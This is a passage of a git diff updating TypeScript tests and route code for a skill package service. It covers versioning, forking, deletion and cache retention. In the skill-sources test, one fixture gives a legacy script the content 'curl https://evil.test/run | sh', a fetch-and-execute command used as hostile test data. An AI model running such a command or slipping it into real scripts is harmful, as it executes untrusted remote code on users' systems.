sourceRef: commit, metadata: { owner: "fixture", repo: "skills", repoSkillDir: "fixture" }, + fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "reference.md", kind: "reference" }], + }).where(eq(companySkills.id, skill.id)); + const fetchMock = vi.spyOn(globalThis, "fetch").mockResolvedValue(new Response("unavailable", { status: 404 })); + try { + const maintenance = skillInstallationMaintenance(db); + expect((await maintenance.eligibility({ id: skill.id })).results[0]).toMatchObject({ status: "incomplete_current_version" }); + expect((await maintenance.verifyVersions({ id: skill.currentVersionId! })).results[0]).toMatchObject({ status: "incomplete_current_version" }); + expect(fetchMock).not.toHaveBeenCalled(); + expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results[0]).toMatchObject({ status: "blocked" }); + expect((await db.select().from(companySkills).where(eq(companySkills.id, skill.id)))[0].currentVersionId).toBe(skill.currentVersionId); + fetchMock.mockImplementation(async url => { + expect(String(url)).toBe(`https://raw.githubusercontent.com/fixture/skills/${commit}/fixture/reference.md`); + return new Response("Exact installed supporting content"); + }); + expect((await maintenance.installations({ id: skill.id, apply: true, writersStopped: true })).results[0]).toMatchObject({ status: "converted" }); + expect(await service.readFile(companyId, skill.id, "reference.md")).toMatchObject({ content: "Exact installed supporting content" }); + expect((await maintenance.eligibility({ id: skill.id })).results[0]).toMatchObject({ status: "version_backed" }); + expect((await maintenance.verifyVersions({ companyId })).results.every(row => row.status !== "incomplete_current_version")).toBe(true); + const calls = fetchMock.mock.calls.length; + expect((await maintenance.installations({ id: skill.id })).results[0]).toMatchObject({ status: "unchanged" }); + expect(fetchMock).toHaveBeenCalledTimes(calls); + } finally { fetchMock.mockRestore(); } + }); + + it("rejects unsafe legacy sources without publishing a partial conversion", async () => { + const companyId = await company(); + const directory = path.join(root, `unsafe-${randomUUID()}`); + await fs.mkdir(directory); + await fs.writeFile(path.join(directory, "SKILL.md"), "# legacy"); + await fs.symlink(path.join(root, "unrelated"), path.join(directory, "support.txt")); + try { + const [legacy] = await db.insert(companySkills).values({ companyId, key: "unsafe", slug: "unsafe", name: "Unsafe", markdown: "# legacy", + sourceType: "local_path", sourceLocator: directory, metadata: { sourceKind: "managed_local" } }).returning(); + expect((await skillInstallationMaintenance(db).installations({ id: legacy!.id, apply: true, writersStopped: true })).results) + .toEqual([expect.objectContaining({ status: "blocked", reason: "Legacy skill contains a symbolic link" })]); + expect(await companySkillService(db).getById(companyId, legacy!.id)).toMatchObject({ sourceType: "local_path", currentVersionId: null }); + } finally { await fs.unlink(path.join(directory, "support.txt")); } + }); + + it("keeps the compatibility override durable in Postgres and reports that storage accurately", async () => { + const companyId = await company(); + process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "false"; + try { + const service = companySkillService(db); + const skill = await service.createLocalSkill(companyId, { name: "Inline durable", markdown: "# database bytes" }); + const saved = await service.updateFile(companyId, skill.id, "support.txt", "also in Postgres"); + expect((await skillInstallationMaintenance(db).verifyVersions({ id: saved.versionId! })).results) + .toEqual([expect.objectContaining({ status: "database_snapshot", packageId: null })]); + const priorHome = process.env.PAPERCLIP_HOME; + process.env.PAPERCLIP_HOME = path.join(root, `inline-cold-${randomUUID()}`); + try { + expect(await companySkillService(db).readFile(companyId, skill.id, "support.txt")).toMatchObject({ content: "also in Postgres" }); + } finally { process.env.PAPERCLIP_HOME = priorHome; } + } finally { process.env.PAPERCLIP_SKILL_PACKAGE_STORAGE_ENABLED = "true"; } + }); + +}); diff --git a/server/src/__tests__/plan-task-fixture.test.ts b/server/src/__tests__/plan-task-fixture.test.ts index d99f35cfdcc..1cdd8c14fef 100644 --- a/server/src/__tests__/plan-task-fixture.test.ts +++ b/server/src/__tests__/plan-task-fixture.test.ts @@ -7,6 +7,7 @@ import request from "supertest"; import { afterAll, beforeAll, describe, expect, it } from "vitest"; import { agents, companies, createDb, heartbeatRuns } from "@paperclipai/db"; import { companySkillRoutes } from "../routes/company-skills.js"; +import { companySkillService } from "../services/company-skills.js"; import { agentRoutes } from "../routes/agents.js"; import { errorHandler } from "../middleware/error-handler.js"; import { getEmbeddedPostgresTestSupport, startEmbeddedPostgresTestDatabase } from "./helpers/embedded-postgres.js"; @@ -71,17 +72,20 @@ if (!support.supported) console.warn(`Planning fixture API calibration skipped: const selected = await selectPlanSkills(api, companyId, agentId, sources); const invocations = planInvocations(sources, selected); const contextSkills = []; - for (const source of sources.filter(s => s.selected)) { + await companySkillService(db).withRuntimeSkillEntries(companyId, { + onlyKeys: new Set(sources.filter(source => source.selected).map(source => source.key)), snapshotLatest: true, + }, async entries => { for (const source of sources.filter(s => s.selected)) { const entry = (selected as any).entries.find((e: any) => e.key === source.key && e.desired); - const bytes = await readFile(path.join(entry.sourcePath, "SKILL.md")); + const delivered = entries.find(candidate => candidate.key === source.key)!; + const bytes = await readFile(path.join(delivered.source, "SKILL.md")); expect(planHash(bytes)).toBe(source.sha256); - const mode = (await stat(path.join(entry.sourcePath, "SKILL.md"))).mode & 0o555; + const mode = (await stat(path.join(delivered.source, "SKILL.md"))).mode & 0o555; expect(mode).toBe(0o444); const digest = planHash(JSON.stringify([{ path: "SKILL.md", sha256: planHash(bytes), mode, size: bytes.length }])); expect(invocations.find(i => i.name === entry.runtimeName)?.assetDigest).toBe(digest); contextSkills.push({ key: source.key, runtimeName: entry.runtimeName, versionId: entry.currentVersionId, bundle: { rootPath: path.join(root, "runtime-context-assets/bundles", digest) } }); - } + } }); const context = { skills: contextSkills } as NativeRuntimeContextSnapshot; const inputs = nativeTaskSkillInputs(planInvocationPrompt("Business task", invocations), context); expect(inputs).toHaveLength(variant === "disabled" ? 0 : 2); diff --git a/server/src/__tests__/plugin-managed-skills.test.ts b/server/src/__tests__/plugin-managed-skills.test.ts index 954d6cb182f..4005234dfe5 100644 --- a/server/src/__tests__/plugin-managed-skills.test.ts +++ b/server/src/__tests__/plugin-managed-skills.test.ts @@ -123,7 +123,8 @@ describeEmbeddedPostgres("plugin-managed skills", () => { name: "plugin-managed-skills-test-wiki-maintainer", slug: "plugin-managed-skills-test-wiki-maintainer", key: "plugin/paperclip-managed-skills-test/wiki-maintainer", - sourceType: "catalog", + sourceType: "managed", + sourceLocator: null, fileInventory: expect.arrayContaining([ expect.objectContaining({ path: "SKILL.md", kind: "skill" }), expect.objectContaining({ path: "references/wiki-style.md", kind: "reference" }), diff --git a/server/src/__tests__/project-skill-sources.test.ts b/server/src/__tests__/project-skill-sources.test.ts index ed8e6c4f4d9..681b7183e32 100644 --- a/server/src/__tests__/project-skill-sources.test.ts +++ b/server/src/__tests__/project-skill-sources.test.ts @@ -576,7 +576,7 @@ describe.skipIf(!support.supported)('automatic project skill sources', () => { expect(await skills.getById(companyId, fork.skill.id)).not.toBeNull(); let retainedVersionId = original.currentVersionId; if (choice === 'copy') { - expect(await skills.getById(companyId, original.id)).toMatchObject({ sourceType: 'local_path', accessSourceId: source.id }); + expect(await skills.getById(companyId, original.id)).toMatchObject({ sourceType: 'managed', sourceLocator: null, accessSourceId: source.id }); expect((await skills.readFile(companyId, original.id, '.paperclip-repository/private/SKILL.md'))?.content).toBe(md('retained private workflow')); expect((await skills.readFile(companyId, original.id, 'SKILL.md'))?.content).toContain('.paperclip-repository/private/SKILL.md'); await skills.updateFile(companyId, original.id, 'SKILL.md', md('Private copy edits') + '\nConfidential original-project notes.\n'); @@ -605,7 +605,7 @@ describe.skipIf(!support.supported)('automatic project skill sources', () => { expect(restored.lastError).toBeNull(); expect(restored.entries.filter(entry => entry.skillId)).toHaveLength(1); expect(restored.entries[0]!.skillId).not.toBe(original.id); - if (choice === 'copy') expect(await skills.getById(companyId, original.id)).toMatchObject({ key: original.key, sourceType: 'local_path', currentVersionId: retainedVersionId }); + if (choice === 'copy') expect(await skills.getById(companyId, original.id)).toMatchObject({ key: original.key, sourceType: 'managed', currentVersionId: retainedVersionId }); const readerId = randomUUID(); await db.insert(authUsers).values({ id: readerId, name: 'Open project reader', email: `${readerId}@example.test`, createdAt: new Date(), updatedAt: new Date() }); await db.insert(companyMemberships).values({ companyId, principalType: 'user', principalId: readerId, membershipRole: 'member', status: 'active' }); diff --git a/server/src/__tests__/skill-package-store.test.ts b/server/src/__tests__/skill-package-store.test.ts index 8b9d824e734..ca277c1655b 100644 --- a/server/src/__tests__/skill-package-store.test.ts +++ b/server/src/__tests__/skill-package-store.test.ts @@ -8,7 +8,7 @@ import os from "node:os"; import path from "node:path"; import { and, eq, sql } from "drizzle-orm"; import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest"; -import { companies, companySkills, companySkillVersions, companySkillRepositorySnapshots as snapshots, +import { agents, companies, companySkills, companySkillVersions, companySkillRepositorySnapshots as snapshots, skillPackageDeletions, createDb, withDedicatedDbConnection } from "@paperclipai/db"; import * as dbModule from "@paperclipai/db"; import type { CompanySkillVersionFileInventoryEntry } from "@paperclipai/shared"; @@ -83,6 +83,26 @@ describe.skipIf(!support.supported)("external skill packages", () => { return { companyId, id, store, skills, service, resolve }; } + it("keeps unchanged linked-local execution on the verified manifest path with complete metadata indexes", async () => { + const companyId = await company(); + vi.spyOn(storageModule, "getStorageService").mockReturnValue(storage); + const directory = path.join(home, `linked-${companyId}`); + await fs.mkdir(directory); + await fs.writeFile(path.join(directory, "SKILL.md"), "# Linked"); + await fs.writeFile(path.join(directory, "support.txt"), "unchanged support"); + const [skill] = await db.insert(companySkills).values({ companyId, key: "linked", slug: "linked", name: "Linked", + markdown: "# Linked", sourceType: "local_path", sourceLocator: directory, + fileInventory: [{ path: "SKILL.md", kind: "skill" }, { path: "support.txt", kind: "other" }] }).returning(); + const service = companySkillService(db); + const version = await service.createVersion(companyId, skill!.id); + const resolve = () => service.listRuntimeSkillEntries(companyId, { onlyKeys: new Set([skill!.key]), snapshotLatest: true }); + await resolve(); + const read = vi.spyOn(fs, "readFile"); + const [runtime] = await resolve(); + expect(runtime?.versionId).toBe(version.id); + expect(read.mock.calls.filter(([file]) => String(file).endsWith("support.txt"))).toHaveLength(0); + }); + it("orders skill and package locks consistently with an edit's dedicated upload connection", async () => { const f = await fixture(); const skill = f.skills[0]!.skill; @@ -121,16 +141,42 @@ describe.skipIf(!support.supported)("external skill packages", () => { expect(await skillPackageStore(db, storage).versionInventory(stale!)).toEqual(files.map(({ path, kind }) => ({ path, kind }))); }); - it("forks a packaged repository inside an outer transaction with a one-connection pool", async () => { + it("prepares a repository fork before its publication transaction with a one-connection pool", async () => { const f = await fixture(); - const fork = await db.transaction(tx => companySkillService(tx as unknown as typeof db, { packageDb: db }) - .createLocalSkill(f.companyId, { name: "Idempotent fork", slug: "idempotent-fork", forkedFromSkillId: f.skills[0]!.skill.id })); + let publishing = false; + const read = storage.getObject.bind(storage); + vi.spyOn(storage, "getObject").mockImplementation((...args) => { + expect(publishing, "Package acquisition must finish before publication takes database locks").toBe(false); + return read(...args); + }); + const fork = await f.service.createLocalSkill(f.companyId, + { name: "Idempotent fork", slug: "idempotent-fork", forkedFromSkillId: f.skills[0]!.skill.id }, null, { + beforeLock: async () => { publishing = true; }, + afterPublish: async (tx, skill, version) => { + expect((await tx.select().from(companySkillVersions).where(eq(companySkillVersions.id, version.id)))[0]) + .toMatchObject({ companySkillId: skill.id }); + }, + }); + publishing = false; const saved = await f.service.getVersion(f.companyId, fork.id, fork.currentVersionId!); expect(saved!.fileInventory).toEqual(expect.arrayContaining([ expect.objectContaining({ path: ".paperclip-repository/shared/run.sh", content: files[2]!.content }), ])); }, 15_000); + it("publishes a fork and agent reassignment atomically with a one-connection pool", async () => { + const f = await fixture(); + const original = f.skills[0]!.skill; + const [agent] = await db.insert(agents).values({ companyId: f.companyId, name: "Fork user", adapterType: "codex_local", + adapterConfig: { paperclipSkillSync: { desiredSkills: [{ key: original.key }] } } }).returning(); + await expect(f.service.forkSkill(f.companyId, original.id, { slug: "atomic-fork", reassignAgentIds: [agent!.id] }, null, + { afterPublish: async () => { throw new Error("audit rollback"); } })).rejects.toThrow("audit rollback"); + expect(await f.service.getByKey(f.companyId, `company/${f.companyId}/atomic-fork`)).toBeNull(); + expect((await db.select().from(agents).where(eq(agents.id, agent!.id)))[0]!.adapterConfig).toEqual(agent!.adapterConfig); + const fork = await f.service.forkSkill(f.companyId, original.id, { slug: "atomic-fork", reassignAgentIds: [agent!.id] }); + expect(fork.reassignments).toEqual([{ agentId: agent!.id, previousSkillKey: original.key, nextSkillKey: fork.skill.key }]); + }); + it("lists version metadata without reading archives, while inspection reads the requested historical bytes", async () => { const f = await fixture(); const { skill, version } = f.skills[0]!; @@ -247,7 +293,7 @@ describe.skipIf(!support.supported)("external skill packages", () => { expect(await skillPackageStore(db, storage).versionFiles(converted!)).toEqual([{ ...files[0]!, path: "SKILL.md" }]); }); - it.each(["file", "folder"] as const)("restores a deleted %s when the replacement package upload fails", async target => { + it.each(["file", "folder"] as const)("keeps committed %s contents when the replacement package upload fails", async target => { const companyId = await company(); vi.spyOn(storageModule, "getStorageService").mockReturnValue(storage); const service = companySkillService(db); @@ -256,11 +302,6 @@ describe.skipIf(!support.supported)("external skill packages", () => { await service.updateFile(companyId, skill.id, "bundle/probe.sh", "#!/bin/sh\nprintf kept\n", null, { executable: true }); await service.updateFile(companyId, skill.id, "bundle/nested/data.bin", binary.toString("base64"), null, { encoding: "base64" }); await service.updateFile(companyId, skill.id, "keep.txt", "Unrelated file\n"); - const root = skill.sourceLocator!; - await fs.chmod(path.join(root, "bundle/probe.sh"), 0o751); - await fs.mkdir(path.join(root, "bundle/empty")); - await fs.mkdir(path.join(root, "bundle/.git")); - await fs.writeFile(path.join(root, "bundle/.git/local-state"), "Unlisted bytes\n"); const [before] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id)); const versionsBefore = await db.select({ id: companySkillVersions.id }).from(companySkillVersions) .where(eq(companySkillVersions.companySkillId, skill.id)); @@ -270,11 +311,10 @@ describe.skipIf(!support.supported)("external skill packages", () => { await expect(service.deleteFile(companyId, skill.id, input)).rejects.toThrow("Object storage unavailable"); expect(upload).toHaveBeenCalled(); } finally { upload.mockRestore(); } - expect(await fs.readFile(path.join(root, "bundle/probe.sh"), "utf8")).toBe("#!/bin/sh\nprintf kept\n"); - expect((await fs.stat(path.join(root, "bundle/probe.sh"))).mode & 0o777).toBe(0o751); - expect(await fs.readFile(path.join(root, "bundle/nested/data.bin"))).toEqual(binary); - expect((await fs.stat(path.join(root, "bundle/empty"))).isDirectory()).toBe(true); - expect(await fs.readFile(path.join(root, "bundle/.git/local-state"), "utf8")).toBe("Unlisted bytes\n"); + expect(await service.readFile(companyId, skill.id, "bundle/probe.sh")) + .toMatchObject({ content: "#!/bin/sh\nprintf kept\n", executable: true }); + expect(await service.readFile(companyId, skill.id, "bundle/nested/data.bin")) + .toMatchObject({ content: binary.toString("base64"), encoding: "base64" }); const [after] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id)); expect(after).toEqual(before); expect(await db.select({ id: companySkillVersions.id }).from(companySkillVersions) @@ -285,8 +325,9 @@ describe.skipIf(!support.supported)("external skill packages", () => { .where(and(eq(snapshots.companyId, companyId), sql`${snapshots.upload} is not null`)); const deleted = await service.deleteFile(companyId, skill.id, input); expect(deleted.deletedPaths).toContain("bundle/probe.sh"); - await expect(fs.stat(path.join(root, input.path))).rejects.toMatchObject({ code: "ENOENT" }); - expect(await fs.readFile(path.join(root, "keep.txt"), "utf8")).toBe("Unrelated file\n"); + await expect(service.readFile(companyId, skill.id, "bundle/probe.sh")).rejects.toMatchObject({ status: 404 }); + if (target === "folder") await expect(service.readFile(companyId, skill.id, "bundle/nested/data.bin")).rejects.toMatchObject({ status: 404 }); + expect(await service.readFile(companyId, skill.id, "keep.txt")).toMatchObject({ content: "Unrelated file\n" }); expect((await service.getVersion(companyId, skill.id, before!.currentVersionId!))!.fileInventory) .toEqual(expect.arrayContaining([expect.objectContaining({ path: "bundle/probe.sh", executable: true })])); }); @@ -300,52 +341,45 @@ describe.skipIf(!support.supported)("external skill packages", () => { await service.updateFile(companyId, skill.id, "keep.txt", "Keep\n"); const before = (await service.getById(companyId, skill.id))!; let deletionFinished = false; - let backupDirectory: string | undefined; - const mkdtemp = fs.mkdtemp.bind(fs); - vi.spyOn(fs, "mkdtemp").mockImplementation(async (...args) => { - const directory = await mkdtemp(...args); - if (String(args[0]).includes("paperclip-skill-delete-")) backupDirectory = directory as string; - return directory; - }); const ambiguousDb = new Proxy(db, { get(target, property, receiver) { if (property === "transaction") return async (callback: (tx: any) => Promise, ...options: any[]) => { if (deletionFinished && outcome === "unavailable") throw new Error("Database unavailable"); const result = await target.transaction(async tx => { const value = await callback(tx); - if (value?.deletedPaths) { + if (value?.skill?.id === skill.id && value?.version) { deletionFinished = true; if (outcome === "rolled_back") throw new Error("Lost commit reply"); } return value; }, ...options); - if (!result?.deletedPaths) return result; + if (result?.skill?.id !== skill.id || !result?.version) return result; if (outcome === "newer_edit") await service.updateFile(companyId, skill.id, "notes.txt", "Newer edit\n"); throw new Error("Lost commit reply"); }; return Reflect.get(target, property, receiver); }, }); - try { - await expect(companySkillService(ambiguousDb, { packageDb: db }).deleteFile(companyId, skill.id, - { path: "notes.txt", target: "file" })).rejects.toThrow("Lost commit reply"); - expect(deletionFinished).toBe(true); - const [saved] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id)); - if (outcome === "rolled_back") { - expect(saved!.currentVersionId).toBe(before.currentVersionId); - expect(await fs.readFile(path.join(skill.sourceLocator!, "notes.txt"), "utf8")).toBe("Original notes\n"); - } else if (outcome === "newer_edit") { - expect(await fs.readFile(path.join(skill.sourceLocator!, "notes.txt"), "utf8")).toBe("Newer edit\n"); - } else { - expect(saved!.currentVersionId).not.toBe(before.currentVersionId); - await expect(fs.stat(path.join(skill.sourceLocator!, "notes.txt"))).rejects.toMatchObject({ code: "ENOENT" }); - } - if (outcome === "unavailable" || outcome === "newer_edit") { - expect(await fs.readFile(path.join(backupDirectory!, "source"), "utf8")).toBe("Original notes\n"); - } else await expect(fs.stat(backupDirectory!)).rejects.toMatchObject({ code: "ENOENT" }); - } finally { - if (backupDirectory) await fs.rm(backupDirectory, { recursive: true, force: true }); + await expect(companySkillService(ambiguousDb, { packageDb: db }).deleteFile(companyId, skill.id, + { path: "notes.txt", target: "file", expectedVersionId: before.currentVersionId })).rejects.toThrow("Lost commit reply"); + expect(deletionFinished).toBe(true); + const [saved] = await db.select().from(companySkills).where(eq(companySkills.id, skill.id)); + if (outcome === "rolled_back") { + expect(saved!.currentVersionId).toBe(before.currentVersionId); + expect(await service.readFile(companyId, skill.id, "notes.txt")).toMatchObject({ content: "Original notes\n" }); + await expect(service.deleteFile(companyId, skill.id, { path: "notes.txt", target: "file", expectedVersionId: before.currentVersionId })) + .resolves.toMatchObject({ deletedPaths: ["notes.txt"] }); + } else { + expect(saved!.currentVersionId).not.toBe(before.currentVersionId); + if (outcome === "newer_edit") expect(await service.readFile(companyId, skill.id, "notes.txt")) + .toMatchObject({ content: "Newer edit\n" }); + else await expect(service.readFile(companyId, skill.id, "notes.txt")).rejects.toMatchObject({ status: 404 }); + await expect(service.deleteFile(companyId, skill.id, { path: "notes.txt", target: "file", expectedVersionId: before.currentVersionId })) + .rejects.toMatchObject({ status: 409 }); } + expect((await service.getVersion(companyId, skill.id, before.currentVersionId!))!.fileInventory) + .toEqual(expect.arrayContaining([expect.objectContaining({ path: "notes.txt", content: "Original notes\n" })])); + }); it("expires an unused Git package and reacquires its exact bytes without a migration command", async () => { @@ -928,6 +962,21 @@ describe.skipIf(!support.supported)("external skill packages", () => { expect(await skillPackageStore(db, storage).versionFiles(saved!)).toEqual([original]); }); + it("backfills a cleared version's metadata index without changing its identity or bytes", async () => { + const f = await fixture(); + const [version] = await db.insert(companySkillVersions).values({ companyId: f.companyId, + companySkillId: f.skills[0]!.skill.id, revisionNumber: 2, packageSnapshotId: f.id, + packageFileMap: null, fileInventory: [], migrationAt: null }).returning(); + expect((await skillPackageMaintenance(db, storage).migrateVersions({ id: version!.id, apply: true })).migrated).toBe(1); + const [saved] = await db.select().from(companySkillVersions).where(eq(companySkillVersions.id, version!.id)); + expect(saved).toMatchObject({ id: version!.id, revisionNumber: 2, packageSnapshotId: f.id, fileInventory: [] }); + expect(await f.store.versionFiles(saved!)).toEqual(expect.arrayContaining(files)); + const read = vi.spyOn(storage, "getObject").mockRejectedValue(new Error("Metadata must not fetch objects")); + expect(await f.store.versionInventory(saved!)).toEqual(expect.arrayContaining(files.map(({ path, kind }) => ({ path, kind })))); + expect(read).not.toHaveBeenCalled(); + expect((await skillPackageMaintenance(db, storage).migrateVersions({ id: version!.id, apply: true })).inspected).toBe(0); + }); + it.each([false, true])("restores across legacy payload clearing with a cached manifest: %s", async cachedManifest => { const companyId = await company(); const [snapshot] = await db.insert(snapshots).values({ companyId, contentHash: skillSnapshotHash(files), fileInventory: files }).returning(); diff --git a/server/src/__tests__/skill-sources.test.ts b/server/src/__tests__/skill-sources.test.ts index 7c72d49f95a..688ffd26094 100644 --- a/server/src/__tests__/skill-sources.test.ts +++ b/server/src/__tests__/skill-sources.test.ts @@ -437,8 +437,11 @@ describe.skipIf(!support.supported)('skill source persistence', () => { files = { 'legacy/SKILL.md': md('legacy'), 'legacy/scripts/run.sh': 'curl https://evil.test/run | sh' }; await service.refresh(legacyCompany, adopted[0]!.id, context); expect((await skills.getById(legacyCompany, legacy!.id))?.currentVersionId).toBe(partial!.id); - const provider = vi.spyOn(globalThis, 'fetch').mockResolvedValue(new Response('Existing reference')); - try { expect((await skills.readFile(legacyCompany, legacy!.id, 'reference.md'))?.content).toBe('Existing reference'); } + const provider = vi.spyOn(globalThis, 'fetch').mockRejectedValue(new Error('Upstream must not repair an installed read')); + try { + await expect(skills.readFile(legacyCompany, legacy!.id, 'reference.md')).rejects.toMatchObject({ status: 404 }); + expect(provider).not.toHaveBeenCalled(); + } finally { provider.mockRestore(); } const revision = (await service.detail(legacyCompany, adopted[0]!.id)).revision; await expect(service.disconnect(legacyCompany, adopted[0]!.id, context, { revision, skills: 'copy' })).rejects.toThrow(/saved files are incomplete.*Refresh the source/); @@ -816,7 +819,7 @@ describe.skipIf(!support.supported)('skill source persistence', () => { expect(result).toMatchObject({ copiedCount: 2, deletedCount: 0 }); await expect(service.detail(companyId, created.source.id)).rejects.toThrow(/not found/); const copy = (await skills.detail(companyId, original.id))!; - expect(copy).toMatchObject({ id: original.id, key: original.key, sourceType: 'local_path', sourceRef: null, editable: true }); + expect(copy).toMatchObject({ id: original.id, key: original.key, sourceType: 'managed', sourceLocator: null, sourceRef: null, editable: true }); expect(copy.metadata?.skillSourceId).toBeUndefined(); expect((await skills.readFile(companyId, original.id, '.paperclip-repository/one/reference.md'))?.content).toBe('Local reference'); const [personal] = await db.select().from(folders).where(eq(folders.id, copy.folderId!)); diff --git a/server/src/__tests__/skill-version-cache.test.ts b/server/src/__tests__/skill-version-cache.test.ts index 438678eb8e6..a2e8f9b729c 100644 --- a/server/src/__tests__/skill-version-cache.test.ts +++ b/server/src/__tests__/skill-version-cache.test.ts @@ -242,12 +242,14 @@ describePostgres("immutable skill version cache", () => { return { run, execution }; } - it.each([false, true])("uses the legacy native manifest without changing unresolved recovery (bundled skill: %s)", async bundled => { + it.each([false, true])("protects unknown legacy versions without changing unresolved recovery (bundled skill: %s)", async bundled => { const f = await fixture(); const old = await f.resolve(f.versions[0]!.id); await touchSkillVersionCache(f.companyId, f.skillId, f.versions[0]!.id, Date.now() - 7_200_000); const { run } = await legacyNativeRun(f.companyId, bundled ? [{ key: "paperclipai/paperclip/slack", versionId: null }] : []); - expect((await sweepSkillVersionCache(db, { companyId: f.companyId })).evicted).toBe(1); + const result = await sweepSkillVersionCache(db, { companyId: f.companyId }); + expect(result.evicted).toBe(bundled ? 0 : 1); + if (bundled) expect(result.skipped.unknown_run_pins).toBe(1); expect((await db.select().from(nativeRunFinalizations).where(eq(nativeRunFinalizations.runId, run.id)))[0]) .toMatchObject({ phase: "terminal_failure", recoveryState: "blocked" }); expect((await db.select().from(heartbeatRuns).where(eq(heartbeatRuns.id, run.id)))[0]!.contextSnapshot).toBeNull(); diff --git a/server/src/__tests__/skill-version-retention.test.ts b/server/src/__tests__/skill-version-retention.test.ts index 98ce5ccb9af..bb757c7b6a6 100644 --- a/server/src/__tests__/skill-version-retention.test.ts +++ b/server/src/__tests__/skill-version-retention.test.ts @@ -712,7 +712,7 @@ describeEmbeddedPostgres("skill version snapshot retention", () => { expect(await exists(dir)).toBe(false); }); - it("sweeps deleted skills after protecting existing runs", async () => { + it("blocks deletion for detached active pins and sweeps after they settle", async () => { const companyId = await createCompany(); const { skillId, versionIds } = await createSkill(companyId, 2); const first = await writeSnapshot(companyId, skillId, versionIds[0]!); @@ -720,14 +720,16 @@ describeEmbeddedPostgres("skill version snapshot retention", () => { const [agent] = await db.insert(agents).values({ companyId, name: "Detached agent" }).returning(); const [run] = await db.insert(heartbeatRuns).values({ companyId, agentId: agent!.id, status: "running", contextSnapshot: { skillVersions: { retained: versionIds[0] } } }).returning(); - await companySkillService(db).deleteSkill(companyId, skillId); + await expect(companySkillService(db).deleteSkill(companyId, skillId)).rejects.toMatchObject({ status: 422 }); expect(await exists(first)).toBe(true); await skillVersionRetentionService(db).pruneCompany(companyId); expect(await exists(first)).toBe(true); - expect(await exists(second)).toBe(false); + expect(await exists(second)).toBe(true); await db.update(heartbeatRuns).set({ status: "succeeded", finishedAt: new Date() }).where(eq(heartbeatRuns.id, run!.id)); + await companySkillService(db).deleteSkill(companyId, skillId); await skillVersionRetentionService(db).pruneCompany(companyId); expect(await exists(first)).toBe(false); + expect(await exists(second)).toBe(false); }); it("never removes anything outside the company's versions root", async () => { diff --git a/server/src/app.ts b/server/src/app.ts index 130bfed7b60..42ab549d582 100644 --- a/server/src/app.ts +++ b/server/src/app.ts @@ -668,7 +668,7 @@ export async function createApp( api.use("/companies", companyRoutes(db, opts.storageService)); api.use(llmRoutes(db)); api.use(folderRoutes(db)); - api.use(companySkillRoutes(db)); + api.use(companySkillRoutes(db, { pluginWorkerManager: workerManager })); api.use(companySkillPolicyRoutes(db)); api.use(inboxAgentPolicyRoutes(db)); api.use(agentCommentaryRoutes(db)); diff --git a/server/src/routes/company-skills.ts b/server/src/routes/company-skills.ts index 3926793700a..765dd3b8777 100644 --- a/server/src/routes/company-skills.ts +++ b/server/src/routes/company-skills.ts @@ -1,3 +1,6 @@ +import { logger } from "../middleware/logger.js"; +import { managedSkillContent } from "../services/managed-skill-content.js"; +import type { SkillContentPublication } from "../services/managed-skill-content.js"; import { projectSkillSetupIdentity } from "../services/project-skill-source-bindings.js"; import { adoptProjectSkillRepository, projectSkillRepositories, skillSourceSyncService } from "../services/skill-source-sync.js"; import { skillAccessRequestContext, skillAccessService } from "../services/skill-access.js"; @@ -6,11 +9,12 @@ import { skillSourceGitHubReader } from "../services/skill-source-github-access. import { toolAccessService } from "../services/tool-access.js"; import { skillSourceCreateSchema, skillSourceDiscoverySchema, skillSourcePreviewSchema, skillSourceSelectionSchema, skillSourceSettingsSchema, skillSourceBranchesQuerySchema, projectSkillSourceAdoptSchema, skillSourceDisconnectSchema } from "@paperclipai/shared"; import type { ActivityPublication } from "../services/activity-log.js"; +import type { PluginWorkerManager } from "../services/plugin-worker-manager.js"; import { once } from "node:events"; import type { SkillSourceDiscoveryEvent } from "@paperclipai/shared"; import { createHash } from "node:crypto"; import { and, eq, sql } from "drizzle-orm"; -import { activityLog, companySkills } from "@paperclipai/db"; +import { activityLog, companySkills, companySkillMutationReceipts } from "@paperclipai/db"; import { persistActivity, publishActivity } from "../services/activity-log.js"; import { projectToolContext } from "../services/project-tool-context.js"; import { Router, type Request } from "express"; @@ -98,7 +102,7 @@ type SkillPolicyResourceInput = | Promise | (() => SkillPolicyEvaluationResource | Promise); -export function companySkillRoutes(db: Db) { +export function companySkillRoutes(db: Db, options: { pluginWorkerManager?: PluginWorkerManager } = {}) { const router = Router(); router.use(skillAccessRequestContext); router.param("skillId", async (req, _res, next, id) => { @@ -118,7 +122,7 @@ export function companySkillRoutes(db: Db) { const sourceSvc = skillSourceService(db); const sourceSync = skillSourceSyncService(db); const issues = issueService(db); - const heartbeat = heartbeatService(db); + const heartbeat = heartbeatService(db, { pluginWorkerManager: options.pluginWorkerManager }); const skillPolicies = companySkillPolicyService(db); function asString(value: unknown): string | null { @@ -182,9 +186,9 @@ export function companySkillRoutes(db: Db) { return { type: "system" as const }; } - async function skillPolicyPrincipal(req: Request, companyId: string): Promise { + async function skillPolicyPrincipal(req: Request, companyId: string, database: Db = db): Promise { if (req.actor.type === "agent" && req.actor.agentId) { - return skillPolicies.resolveAgentPrincipal(companyId, req.actor.agentId); + return companySkillPolicyService(database).resolveAgentPrincipal(companyId, req.actor.agentId); } if (req.actor.type === "board") { return { type: "board", id: req.actor.userId ?? "board", role: "board" }; @@ -198,8 +202,8 @@ export function companySkillRoutes(db: Db) { skillKey?: unknown; sourceType?: string | null; sourceLocator?: unknown; - }): Promise { - const stored = input.skillId ? await svc.getById(input.companyId, input.skillId) : null; + }, database: Db = db): Promise { + const stored = input.skillId ? await companySkillService(database).getById(input.companyId, input.skillId) : null; const sourceLocator = asString(input.sourceLocator) ?? stored?.sourceLocator ?? undefined; return { ...(input.skillId ? { skillId: input.skillId } : {}), @@ -227,6 +231,7 @@ export function companySkillRoutes(db: Db) { companyId: string, action: SkillPolicyAction, resource: SkillPolicyResourceInput = {}, + database: Db = db, ) { if (req.actor.type === "none") { throw unauthorized("Authentication required"); @@ -235,7 +240,7 @@ export function companySkillRoutes(db: Db) { throw forbidden("Agent key cannot access another company", { code: "skill_company_boundary_denied" }); } assertCompanyAccess(req, companyId); - const platformDecision = await access.decide({ + const platformDecision = await 